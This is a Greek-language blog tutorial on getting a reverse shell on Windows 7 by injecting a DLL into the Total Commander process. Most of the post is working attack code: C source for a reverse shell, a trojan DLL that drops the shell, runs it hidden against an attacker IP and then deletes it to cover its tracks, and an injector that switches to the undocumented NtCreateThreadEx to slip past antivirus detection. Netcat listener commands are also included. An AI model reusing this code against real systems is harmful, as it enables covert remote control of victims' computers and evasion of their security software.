Security Blog

Reverse shell through DLL Injection using undocumented API function

Το άρθρο αυτό αναφέρεται σε ανθρώπους που ήδη ξέρουν πώς να προγραμματίσουν σε C ή C++ και έχουν βασικές γνώσεις των κλήσεων API των Windows . Επιπρόσθετα, κάποια γνώση των τεχνικών επίθεσης είναι αναγκαία, όπως να γνωρίζουν τι είναι ένα reverse shell, πώς μπορούμε να χρησιμοποιήσουμε το netcat σε μια επίθεση κλπ. .. Εάν αυτή είναι η πρώτη φορά που βλέπει ο αναγνώστης τους παραπάνω όρους, καλύτερα να ενημερωθεί πρώτα γι’ αυτούς και μετά να διαβάσει παρακάτω.

DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από επιτιθέμενους για να εισάγουν κώδικα σε ένα εκτελέσιμο με απώτερο σκοπό αποκτήσουν το έλεγχο του box . Έχουν αναπτυχθεί διάφορες μέθοδοι για προστασία, από τους ίδιους τους δημιουργούς των λειτουργικών συστημάτων, χωρίς όμως 100% επιτυχία.

Σε αυτό το άρθρο θα παρουσιάσω δύο μεθόδους για μια επιτυχημένη επίθεση σε Windows 7 Ultimate 64 bit που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την documented API function CreateRemoteThread  του Windows API και η δεύτερη μέθοδος χρησιμοποιεί την undocumented funNtCreateThreadEx. Ο λόγος που προτιμώ την 2η μέθοδο είναι λόγω του γεγονότος ότι η 1η χτυπά τον συναγερμό του Windows Security Essentials anti-virus ([http://is.gd/FkVx3A]), ενώ η 2ο περνάει… απαρατήρητη!
Επιπλέον, ένα «σπιτικό» reverse shell (που αναπτύχθηκε σε C) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς (packing), ενός εκτελέσιμου αρχείου μέσα σε ένα άλλο εκτελέσιμο.

Η τελική επίθεση πραγματοποιείται με δύο τρόπους: Του «παραδοσιακού» (χειροκίνητου), που χρησιμοποιώ μόνο netcat και του “επίσημου” που χρησιμοποιώ το γνωστό armitage ([http://www.fastandeasyhacking.com/]) του Metasploit. Εικόνες από την επίθεση θα είναι στη διάθεσή σας καθώς και ένα σύντομο βίντεο.

Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό δεν είναι ένα φροντιστήριο στο “Πώς να εισβάλετε σε ένα Box” ούτε μια μέθοδος για το πώς να εγκαταστήσετε ένα trojan στο PC κάποιου. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος για την κλήση ενός reverse shell μέσω Injection DLL κάνοντας χρήση undocumented API function των Windows 7. Τίποτα περισσότερο και τίποτα λιγότερο. Εάν δεν αισθάνεστε αρκετά ανώριμοι και θέλετε να χρησιμοποιήσετε αυτή μέθοδο με σκοπό να βλάψετε τους άλλους, τότε συγγνώμη, αλλά το πρόβλημα είναι καθαρά δικό σας. Αυτό εδώ το άρθρο δίνεται καθαρά για εκπαιδευτικούς σκοπούς και μόνο!

Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση θα πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θα κάνουμε το injection. Στο παράδειγμά μου, θα χρησιμοποιήσω το Total Commander ([http://www.ghisler.com/]), τον αγαπημένο διαχειριστή παραθύρων των προγραμματιστών (και όχι μόνο). Όταν ο χρήστης ξεκινά το πρόγραμμα Total Commander θα μου επιστρέφεται μέσω DLL Injection ένα reverse shell στον υπολογιστή μου (τοπικά ή απομακρυσμένα) με τα ίδια προνόμια με αυτά του προγράμματος που κάνω inject. Πιο συγκεκριμένα, η μέθοδος είναι η εξής:
1. Ελέγχω αν το «Total Commander» βρίσκεται ήδη στην μνήμη.
2. Εάν βρίσκεται βρίσκεται, του κάνω Inject κώδικα ώστε να επιστρέψει ένα reverse shell σε μια συγκεκριμένη IP και θα συνεχίσω την εκτέλεση του Total Commander.
3. Εάν το «Total Commander” δεν εκτελείται goto 1.

Η μέθοδος μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα ενεργοποιεί όλη την επίθεση.
2. myDLL.DLL: Είναι μια DLL που θα χρησιμοποιηθεί ως Δούρειος Ίππος. Θα περιέχει όλο το reverse shell. Μία από τις κύριες αρμοδιότητές της είναι όταν το event DLL_PROCESS_ATTACH συμβεί, θα αποσυμπιέζεται το reverse shell στο δίσκο και θα εκτελείτε.
3. dllattack08.exe: Είναι το πονηρό πρόγραμμα που όταν εκτελεστεί θα παραμείνει στη μνήμη εκτελώντας τα παραπάνω 3 βημάτων που περιέγραψα στην προηγούμενη παράγραφο .

Βήμα 1: Δημιουργία reverse shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα:

/*
AJVrs.c
Reverse shell in win32
(c) by thiseas 2010
Compile with VS 2008 from command line with cl:
C:> cl AJVrs.c
***************************************************************/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "Ws2_32.lib") //Inform the linker that the Ws2_32.lib file is needed.

#define DEFAULT_PORT 1234
#define DEFAULT_IP "192.168.1.70"

WSADATA wsaData;
SOCKET Winsocket;
STARTUPINFO theProcess;
PROCESS_INFORMATION info_proc;
struct sockaddr_in Winsocket_Structure;

int main(int argc, char *argv[])
{
char *IP = DEFAULT_IP;
short port = DEFAULT_PORT;

if (argc == 3){
strncpy(IP,argv[1],16);
port = atoi(argv[2]);
}

WSAStartup(MAKEWORD(2,2), &wsaData);
Winsocket=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL, (unsigned int) NULL, (unsigned int) NULL);
Winsocket_Structure.sin_port=htons(port);
Winsocket_Structure.sin_family=AF_INET;
Winsocket_Structure.sin_addr.s_addr=inet_addr(IP);

if(Winsocket==INVALID_SOCKET)
{
WSACleanup();
return 1;
}

if(WSAConnect(Winsocket,(SOCKADDR*)&Winsocket_Structure,sizeof(Winsocket_Structure),NULL,NULL,NULL,NULL) == SOCKET_ERROR)
{
WSACleanup();
return 1;
}

// Starting shell by creating a new process with i/o redirection.
memset(&theProcess,0,sizeof(theProcess));
theProcess.cb=sizeof(theProcess);
theProcess.dwFlags=STARTF_USESTDHANDLES;

// here we make the redirection
theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket;

// fork the new process.
if(CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0)
{
WSACleanup();
return 1;
}

return 0;
}

Δεν θα μπούμε σε λεπτομέρειες για την ανάλυση του παραπάνω κώδικα διότι αφενός είναι με απλά ελληνικά “self explanatory” και αφετέρου το άρθρο αυτό δεν φιλοδοξεί να γίνει ένα programming tutorial. ;)

To παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως έχει, σε αντικατάσταση του necat ή σε συνδυασμό με αυτό.

Χρήση του παραπάνω reverse shell:
Στο box του επιτιθέμενου τρέχουμε το netcat κάνοντας listening κάποιο connection στην πόρτα 1234:
=====================================================
σε fedora : nc -l 1234
σε άλλο linux dist : nc -v -l -p 1234
σε win box : nc -v -l -p 1234

Στο PC του θύματος τρέχω το reverse shell μου:
=====================================================
c:> AJVrs.exe <attackerIP> 1234

Βήμα 2: Αποθήκευση του εκτελέσιμο κώδικα της reverse shell μέσα σε ένα άλλο εκτελέσιμο πρόγραμμα (exe ή dll).
Θα αποθηκεύσω τον εκτελέσιμο κώδικα μέσα στην DLL (που πρόκειται να χρησιμοποιήσω αργότερα) προκειμένου να εκτελεστεί, όταν θα κληθεί. Αυτό που θα κάνω είναι να πάρω τον byte κώδικα (τον εκτελέσιμο κώδικα) του reverse shell και να τον βάλω μέσα στην DLL. Το πρόβλημα εδώ είναι πώς θα πάρω τον εκτελέσιμο κώδικα ενός προγράμματος και θα το βάλω μέσα στον πηγαίο κώδικα ενός άλλου. Υπάρχουν πολλές μέθοδοι για να γίνει αυτό. Δοκίμασα μια (σχετικά απλή) που πίστευα ότι θα “δουλέψει” και δεν διαψεύστηκα. Είμαι σχεδόν βέβαιος ότι αυτή η μέθοδος έχει χρησιμοποιηθεί από άλλους, αλλά δεν έκαναν τον κόπο να ψάξω για αυτό εφόσον δεν διεκδικώ καμιά πρωτοτυπία. Ο στόχος είναι να αποθηκεύσω ολόκληρο το εκτελέσιμο αρχείο μέσα σε ένα byte array και στη συνέχεια να γράψω αυτό το byte array στο δίσκο. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό PE εκτελέσιμο (http://en.wikipedia.org/wiki/Portable_Executable)!

Ανοίγω το reverse shell “AJVrs.exe” χρησιμοποιώντας τον editor της αρεσκείας μου UltraEdit (o οποίος είναι και hex editor) και πραγματοποιώ τις ενέργειες: Επιλογή όλων (ctrl+A) και δεξί κλικ και επιλέξτε Hex Copy Selected View.
Στη συνέχεια, κάντε δεξί κλικ και Copy. Κάντε τον επιλεγμένο κώδικα ένα νέο αρχείο. Γυρίστε στην επιλογή Στηλών (Alt + C) και επιλέξτε όλα τα bytes του κώδικα που μόλις κάνατε paste. Στη συνέχεια κάντε δεξί κλικ και copy.

Έβαλα τα επιλεγμένα bytes σε ένα νέο αρχείο και να τα τροποποίησα, όπως το ακόλουθο παράδειγμα:
Από

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

σε

\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00

Η παραπάνω εργασία μπορεί να γίνει εύκολα αν αντικαταστήσουμε κάθε κενό ” ” με το “\x”. Αλλά και πάλι θα έχουμε χάσει τον πρώτο χαρακτήρα σε κάθε γραμμή. Έτσι θα ήταν φρόνιμο η πρώτη μας κίνηση να ήταν να μετακινήσουμε όλο τον κώδικα μία θέση στα δεξιά:

Παράδειγμα

από:
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00
σε:
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00

Απλά και μόνο για να βάλουμε ένα space στην αρχή κάθε γραμμής…

Δεν έχουμε τελειώσει ακόμα. Πρέπει να βάλλουμε κάθε γραμμή μέσα σε double quotes:
Χρησιμοποιώντας το column mode (Alt+C) του ultra edit μπορώ εύκολα να το κάνω και να καταλήξω στην τελική μορφή, που είναι η ακόλουθη:

"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00"
"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68"
....

Ok… Αυτό ήταν. Σώζω αυτό το αρχείο στον δίσκο με το όνομα MyTempByteCode.txt

Βήμα 3: Δημιουργία του DLL.
Ήρθε η στιγμή για να δημιουργήσω την DLL μου τώρα. Είναι η DLL που θα χρησιμοποιηθεί ως Δούρειος Ίππος και θα μεταφέρει το reverse shell μέσα της. Μία από τις κύριες αρμοδιότητές της είναι όταν ενεργοποιηθεί το DLL_PROCESS_ATTACH θα αποσυμπιέσετε το reverse shell στο δίσκο και θα εκτελείτε, δίνοντας reverse connection στον επητηθέμενο.

H DLL δημιουργήθηκε με τη χρήση C++ στο Microsoft Visual Studio 2008. Ο πηγαίος κώδικας είναι:

#include
#include

// In recerseshell I just put contents of the file MyTempByteCode.txt
char recerseshell[] =
"\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00"
"\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xD0\x00\x00\x00"
"\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68"
"\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F"
...
...
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";

BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
switch(dwReason)
{
case DLL_PROCESS_ATTACH:
int i, len = sizeof(recerseshell);
FILE *ptr ;
ptr = fopen("\\DLLInjection\\DirtyShell.exe", "wb");

for (i=0; i<len; i++)
fprintf(ptr, "%c",recerseshell[i]);

fclose(ptr);
Sleep(1000);
WinExec("\\DLLInjection\\DirtyShell.exe 192.168.57.147 6666", SW_HIDE);
Sleep(1000);
WinExec("cmd /c ""del \\DLLInjection\\DirtyShell.exe"" ", SW_HIDE);
}
}

Και πάλι ο πηγαίος κώδικας είναι αυτονόητος: Όταν η dll καλείτε από κάποιο πρόγραμμα, γράφω το σε ένα αρχείο το byte array που περιέχει το reverse shell, θα το εκτελέσω (για να ανοίξω ένα reverse connection σε μια συγκεκριμένη IP) και αμέσως μετά θα το διαγράψω από τον δίσκο ώστε να κρύψω τα ίχνη μου.

Βήμα 4: Υλοποίηση του injection.
Τώρα χρειάζομαι ένα πρόγραμμα το οποίο θα έχει στήσει ενέδρα (χωσιά!) στο ” πρόγραμμα θύμα” και μόλις το δει θα του προκαλέσει injection ώστε (εκτός από την κανονική ροή του) να καλέσει και την παραπάνω DLL. Αυτό είναι το πρόγραμμα dllattack08.exe : Είναι το πρόγραμμα που θα εκτελέσει την πραγματική ένεση στο θύμα «Total Commander» με τη χρήση δύο μεθόδων (όπως είχα υποσχεθεί). Η τεκμηριωμένη API και η μη-τεκμηριωμένη API (που είναι και stealth).

Έφτιαξα το παραπάνω με C++ VS 2008 (και πάλι). Ο πηγαίος κώδικας είναι ο εξής:

#include
#include
#include // Add Lib: Shlwapi.lib
#include

typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx)
(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN LPVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN LPTHREAD_START_ROUTINE lpStartAddress,
IN LPVOID lpParameter,
IN BOOL CreateSuspended,
IN ULONG StackZeroBits,
IN ULONG SizeOfStackCommit,
IN ULONG SizeOfStackReserve,
OUT LPVOID lpBytesBuffer
);

//Buffer argument passed to NtCreateThreadEx function

struct NtCreateThreadExBuffer
{
ULONG Size;
ULONG Unknown1;
ULONG Unknown2;
PULONG Unknown3;
ULONG Unknown4;
ULONG Unknown5;
ULONG Unknown6;
PULONG Unknown7;
ULONG Unknown8;
};

HANDLE GetProcessHandle(LPCWSTR szExeName, DWORD *ProcessID)
{
PROCESSENTRY32 Pc = { sizeof(PROCESSENTRY32) } ;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if(Process32First(hSnapshot, &Pc)){
do{

if(StrStrI(Pc.szExeFile, szExeName)) {
*ProcessID = Pc.th32ProcessID;
return OpenProcess(PROCESS_ALL_ACCESS, TRUE, Pc.th32ProcessID);
}
}while(Process32Next(hSnapshot, &Pc));
}

return NULL;
}

BOOL DllInject(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL
if(hmKernel == NULL || hProcess == NULL)
return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //

LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
if (lpvMem == NULL)
return FALSE;

if (!WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL))
return FALSE;

DWORD dwWaitResult= 0, dwExitResult = 0;

HANDLE hThread = CreateRemoteThread(hProcess,
NULL,
0,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),
lpvMem,
0,
NULL);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}
}

BOOL DllInject_2(HANDLE hProcess, LPSTR lpszDllPath)
{
Sleep(2000);

HMODULE hmKernel = GetModuleHandle(L"Kernel32");//heres the DLL
if(hmKernel == NULL || hProcess == NULL) return FALSE;
int nPathLen = strlen(lpszDllPath); //MAX_PATH; //
LPVOID lpvMem = VirtualAllocEx(hProcess, NULL, nPathLen, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, lpvMem, lpszDllPath, nPathLen, NULL);
DWORD dwWaitResult, dwExitResult = 0;

HMODULE modNtDll = GetModuleHandle(L"ntdll.dll");
if( !modNtDll )
{
//printf("\n failed to get module handle for ntdll.dll, Error=0x%.8x", GetLastError());
return 0;
}

LPFUN_NtCreateThreadEx funNtCreateThreadEx =
(LPFUN_NtCreateThreadEx) GetProcAddress(modNtDll, "NtCreateThreadEx");

if( !funNtCreateThreadEx )
{
//printf("\n failed to get funtion address from ntdll.dll, Error=0x%.8x", GetLastError());
return 0;
}

NtCreateThreadExBuffer ntbuffer;
memset (&ntbuffer,0,sizeof(NtCreateThreadExBuffer));
DWORD temp1 = 0;
DWORD temp2 = 0;
ntbuffer.Size = sizeof(NtCreateThreadExBuffer);
ntbuffer.Unknown1 = 0x10003;
ntbuffer.Unknown2 = 0x8;
ntbuffer.Unknown3 = 0;//&temp2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknown5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp1;
ntbuffer.Unknown8 = 0;

HANDLE hThread;
NTSTATUS status = funNtCreateThreadEx(
&hThread,
0x1FFFFF,
NULL,
hProcess,
(LPTHREAD_START_ROUTINE)GetProcAddress(hmKernel, "LoadLibraryA"),
lpvMem,
FALSE, //start instantly
NULL,
NULL,
NULL,
&ntbuffer
);

if(hThread != NULL){
dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free.
GetExitCodeThread(hThread, &dwExitResult);
CloseHandle(hThread);
VirtualFreeEx(hProcess, lpvMem, 0, MEM_RELEASE);
return (1);
}
else{
return (0);
}

}

int ActivateSeDebugPrivilege(void){
HANDLE hToken;
LUID Val;
TOKEN_PRIVILEGES tp;

if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
return(GetLastError());

if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
return(GetLastError());

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = Val;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof (tp), NULL, NULL))
return(GetLastError());

CloseHandle(hToken);

return 1;
}

int main(int argc, char *argv[])
{
DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
LPCWSTR lpVictimProcess = TEXT("totalcmd.exe");
char *cpVictimProcess = "totalcmd.exe";

// Process s;

printf("DLL Injection.\n");
if ( ActivateSeDebugPrivilege() == 1)
printf("Get All Privilege.\n");
else
printf("Cannot Get All Privilege.\n");

printf("Waiting for process %s...",cpVictimProcess);

HANDLE hProcess;
do{
hProcess = GetProcessHandle(lpVictimProcess, &RemoteProcessID);
Sleep(1);
}while(hProcess == NULL);
printf("\nFound! Try to inject...");

// Get the session ID of the remote process.
//DWORD RemoteSessionID = ProcessIdToSessionId( hProcess );

if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID ))
{
printf("\nFailed to get the current session with error %d", GetLastError());
}
if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID ))
{
printf("\nFailed to get the remote session with error %d", GetLastError());
}

if (DllInject(hProcess, "\\DLLInjection\\myDLL.dll"))
printf("\nSUCCESSFUL!\n");
else
printf("\nFailed!\n");

return 0;
}

Υποθέτω ότι κάποια πράγματα χρειάζονται διευκρίνιση εδώ:

Η function που εκτελεί την… ένεση DLL χρησιμοποιώντας την τεκμηριωμένη CreateRemoteThread [http://msdn.microsoft.com/en-us/library/ms682437% 28V = 29.aspx VS.85%] είναι η:

DllInject (hProcess, "\\DLLInjection\\myDLL.dll")

Η function δέχεται 2 παραμέτρους: To process handle του προγράμματος θύματος (του Total Commander) και το όνομα της DLL που θα συνδεθεί το πρόγραμμα θύμα. Όπως μπορείτε να δείτε αυτή η συνάρτηση είναι αρκετά… “open” ώστε να δεχτεί ότι θέλει ο προγραμματιστής της…

Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της λειτουργίας SeDebugPrivilege ως μια προσπάθεια να αποκτήσω elevated προνόμια.
Η Microsoft αναφέρει ότι:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do.”
[http://support.microsoft.com/kb/185215]
Αυτό είναι ενδιαφέρον πράγματι…
Για να είμαι ειλικρινής, απ’ ότι είδα, το παραπάνω δεν ισχύει για τα Windows 7. Τουλάχιστον στην δική μου την υλοποίηση δεν “έπαιξε”.

Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι φέρνει “αλλεργία” στο Microsoft Security Essentials Antivirus. Βρήκα ότι η αιτία του συναγερμού είναι η χρήση του CreateRemoteThread API μέσα στη συνάρτηση DllInject. Έτσι, μπορώ να αντικαταστήσω αυτή τη λειτουργία με ένα νέα, αλλά undocumented! Για να εξηγήσω σε αυτό το άρθρο πώς θα βρούμε μια undocumented Windows API function. Αυτό θα γίνει σε κάποιο άλλο άρθρο που σύντομα θα δημοσιευτεί εδώ. Η undocumented API υλοποιείται στην συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα, προκειμένου να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το τέλος του παραπάνω κώδικα:
από

if (DllInject (hProcess, "\\DLLInjection\\myDLL.dll"))

να

if (DllInject_2 (hProcess, "\\DLLInjection\\myDLL.dll"))

και αυτό ήταν. Γίνατε stealth!

Εικόνες από την επίθεση με τον παραδοσιακό τρόπο (netcat listener)

DLL Injection από την μεριά του θύματος

DLL Injection από την μεριά του θύματος

DLL Injection από την μεριά του επιτιθέμενου

DLL Injection από την μεριά του επιτιθέμενου

Εικόνες από επίθεση με το Armitage του Metasploit
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για pen testers και όχι μόνο. To Armitage [http://www.fastandeasyhacking.com/] είναι ένα front-end (μπορώ να πω) για to metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για να εκτελέσετε την ίδια επίθεση. Μπορεί να χρησιμοποιηθεί ως client για να κάνω listening στη θύρα 6666 για να πάρω reverse shell. Ρίξτε μια ματιά εδώ:

Ενεργοποίηση του listener στο Armitage

Το Reverse shell μου από το Armitage

Το Reverse shell μου από το Armitage

Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι οποιαδήποτε reverse shell μπορεί να χρησιμοποιηθεί. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο shell χρησιμοποιώντας το metasploit, να πάρετε byte code και να το βάλετε στην θέση του byte array της παραπάνω DLL και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτός, ώστε να υποστηρίζει αυτές τις τεχνικές.

Επιθέσεις σε video
[1]. Περίπτωση I: Ο Total Commander είναι ήδη ανοιχτός

[2]. Περίπτωση II: Ο Total Commander ανοίγει από το θύμα, μετά την επίθεση